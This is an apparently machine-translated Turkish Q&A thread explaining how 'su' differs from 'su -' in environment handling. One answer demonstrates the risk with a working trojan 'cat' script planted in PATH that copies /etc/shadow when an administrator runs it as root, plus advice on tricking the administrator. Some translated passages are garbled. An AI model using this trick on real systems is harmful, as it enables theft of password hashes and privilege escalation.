Yanıtlar:
su -kullanıcıyı değiştirdikten sonra bir giriş kabuğu çağırır. Giriş kabuğu, ortam değişkenlerinin çoğunu sıfırlayarak temiz bir temel sağlar.
su sadece kullanıcıyı değiştirir, eski kullanıcı ile neredeyse aynı bir ortamla normal bir kabuk sağlar.
Bir makineye normal kullanıcı erişimi olan bir yazılım geliştirici olduğunuzu ve cahil yöneticinizin size kök erişimi sağlamayacağını hayal edin. Hadi (umarım) onu kandıralım.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Şimdi, yöneticinize niçin catana klasördeki boş dosyayı bulamadığınızı sorun.
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Yöneticiniz o kadar akıllı veya biraz tembel değilse, masanıza gelip süper kullanıcı güçlerini deneyebilir:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Vaov! Teşekkürler, süper yönetici!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
O, o.
Bozuk $PATHdeğişkenin sıfırlanmadığını belki farkettiniz . Yönetici su -bunun yerine çağırdıysa, bu olmazdı .
umask000 gibi ayarlamayı unutma yoksa işe yaramaz.
suPATH içine bir dosya da koyabilir . Gerçek davranışını taklit etmek o kadar da zor değil su. Süper kullanıcı zaten dikkatsiz olmuştur :-)
su --aynı değildir su -: --bir getopt (lar) (ya da benzeri) seçenek işleyicisine komut satırını daha fazla seçenek için işlemeyi durdurmasını söyler (örneğin geri kalanı '-' ile başlayabilecek dosya isimleri içeriyorsa kullanışlıdır). Yani, içinde "rm-i - -f": -f sonra da, işte normal bir argüman olarak kabul edilir dosyanın adının için rm -ive olmayan bir additionnal olarak -fseçeneği rmkomutu. Yani su --sadece suve değil su -! Yani su --(komik ve öğretici) örneğe göre gaganın güvensiz olduğu kadar güvensiz olurdu. Kullanın su -.
su -sizi tamamen root olarak günlüğe kaydeder, oysa suki root gibi davranıyorsunuz.
Bunun en açık örneği ~, kullanırsanız kökün ana dizinidir su -, ancak kullanıyorsanız kendi ana dizininizdir su.
Sisteminize bağlı olarak, bilgi istemi PATHveya geçmiş dosyasındaki farklılıklar da olabilir .
Yani, sistemi yöneten bir ekibin parçasıysanız ve meslektaşınız size çalıştırma emri verirse, ikisini de kullanıyorsanız su -, aynı şekilde çalışacağını biliyorsunuzdur , ancak ikisini de kullanıyorsanız su, farklı kabuk konfigürasyonları.
Öte yandan, bir komutu root olarak çalıştırmak ancak kendi konfigürasyonunuzu kullanarak kullanmak istiyorsanız, belki susizin için daha iyidir.
Ayrıca , root olarak çalışan bir kabuğu başlatmak için sudobir -sseçeneğe sahip olanları da unutmayın . Elbette, bunun da farklı kuralları var ve kullandığınız dağılıma bağlı olarak değişiyorlar.
.bashrcveya /etc/bashrcveya /etc/profile.dkomut dosyaları ayarlıyorsunuz PATH. Bakın if [ $UID -eq 0 ]ya da bunun gibi bir şey.
$USERörneğin değişmeden kalır.
sudo su?
Su kullanıyorum - normal bir kullanıcı olarak bir dizindeyken, ancak kökten geçmek ve değişimin ardından aynı dizinde kalmak istiyorum. Su kullandığınızda -, kullanıcıyı root'a çevirir ve ayrıca root home dizini olan / root'a yönlendirir.
/da kökün ana dizini olarak tanımlanan şey
Ana fark:
su - username Kabuk ortamını, belirtilen kullanıcı olarak temiz bir giriş yapmış gibi ayarlar, belirtilen kullanıcı ortam değişkenlerine erişir ve kullanır,
su username sadece belirtilen kullanıcı için mevcut ortam ayarlarına sahip bir kabuk başlatır.
Kullanıcı adı suve ile belirtilmezse su -, kök hesap varsayılan olarak belirtilir.
su --aynıdırsu.